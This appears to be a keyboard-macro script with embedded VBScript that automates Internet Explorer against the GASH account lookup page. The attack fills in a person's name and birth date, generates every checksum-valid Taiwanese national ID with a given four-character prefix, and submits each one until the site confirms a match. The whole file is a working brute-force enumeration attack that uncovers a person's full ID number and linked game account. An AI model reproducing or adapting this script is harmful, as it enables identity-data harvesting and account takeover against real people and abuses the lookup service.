1. 用户定义变量 NameVal=魔幻小鱉 姓名
2. 用户定义变量 strID_Var=S123 身份證前四碼
3. 用户定义变量 YearVal=1985 西元xxxx年
4. 用户定义变量 MonthVal=10 月
5. 用户定义变量 DayVal=16 日
6. （VBScript语句） Dim objIE,x,n,CheckSum,strID
7. （VBScript语句） n=0
8. （VBScript语句） CheckSum=1
9. // 啟動IE
10. （VBScript语句） Set objIE = CreateObject("InternetExplorer.Application")
11. （VBScript语句） objIE.Visible=true
12. // 打開預設網頁
13. （VBScript语句） objIE.Navigate "https://tw.gash.gamania.com/LookUpGASHID.aspx"
14. // 判斷頁面是否讀取完畢
15. 如果表达式 (objIE.Busy Or objIE.ReadyState <> 4) 为真,则循环执行
16.     延时50毫秒
17. 循环结束
18. // 視窗放大
19. 按住<Alt>
20. 按键<Space>
21. 弹起<Alt>
22. 按键<X>
23. // 開始查詢身份證，並輸入到網頁
24. 循环 1000000 遍
25.     strID=strID_Var & Right("00000" & n,6)
26.     调用子程序 CheckID
27.     如果表达式 (CheckSum Mod 10 = 0) 为真,则
28.         调用子程序 InputID
29.     条件结束
30.     // 累計數字
31.     （VBScript语句） n=n+1
32. 循环结束
33. // 結束
34. 标记 FindEnd
35. 脚本停止运行
36. // ==============身份証號碼驗証=================
37. 子程序 CheckID
38.     CheckSum=1
39.     // 轉換大寫
40.     UserID = UCase(strID)
41.     // 取得開頭英文字母
42.     AreaCode = Left(UserID, 1)
43.     // 確定身證有10碼
44.     如果表达式 (Len(UserID) = 10) 为真,则
45.         // 確定首碼在A-Z之間
46.         如果表达式 (AreaCode >= "A" And AreaCode <= "Z") 为真,则
47.             // 確定2-10碼是數字
48.             如果表达式 (IsNumeric(Mid(UserID, 2))) 为真,则
49.                 // 取得首碼對應的區域碼，A ->10, B->11, ..H->17,I->34, J->18...
50.                 AreaNo = InStr("ABCDEFGHJKLMNPQRSTUVXYWZIO", AreaCode) + 9
51.                 UserID = CStr(AreaNo) + Mid(UserID, 2)
52.                 // 取得CheckSum的值
53.                 CheckSum = CLng(Mid(UserID, 1, 1)) + CLng(Mid(UserID, 11, 1))
54.                 I=2
55.                 循环 9 遍
56.                     CheckSum = CheckSum + CLng(Mid(UserID, I, 1)) * (11 - I)
57.                     I=I+1
58.                 循环结束
59.             条件结束
60.         条件结束
61.     条件结束
62. 子程序结束,回到调用处
63. // ==============網頁中輸入身份證號碼=================
64. 子程序 InputID
65.     // 姓名
66.     （VBScript语句） objIE.Document.All("ctl00$ContentPlaceHolder1$tbRealName").Value = NameVal
67.     // 身份証
68.     （VBScript语句） objIE.Document.All("ctl00$ContentPlaceHolder1$tbPersonalID").Value = strID
69.     // 西元
70.     （VBScript语句） objIE.Document.All("ctl00$ContentPlaceHolder1$tbBYear").Value = YearVal
71.     // 月
72.     （VBScript语句） objIE.Document.All("ctl00$ContentPlaceHolder1$ddlBMonth").Value = MonthVal
73.     // 日
74.     （VBScript语句） objIE.Document.All("ctl00$ContentPlaceHolder1$ddlBDay").Value = DayVal
75.     // 點選
76.     （VBScript语句） objIE.Document.All("ctl00$ContentPlaceHolder1$btnSubmit").Click()
77.     // 判斷頁面是否讀取完畢
78.     如果表达式 (objIE.Busy Or objIE.ReadyState <> 4) 为真,则循环执行
79.         延时50毫秒
80.     循环结束
81.     // 讀取完成，開始其它腳本動作
82.     （VBScript语句） strIE = objIE.Document.Body.InnerHTML
83.     // 核對文字
84.     x= "以下是您的帳號，請牢記唷!!"
85.     （VBScript语句） s=InStr(strIE,x)
86.     如果表达式 (s>0) 为真,则
87.         弹出窗口 "找到了" & strID
88.         跳转到标记 FindEnd
89.     条件结束
90. 子程序结束,回到调用处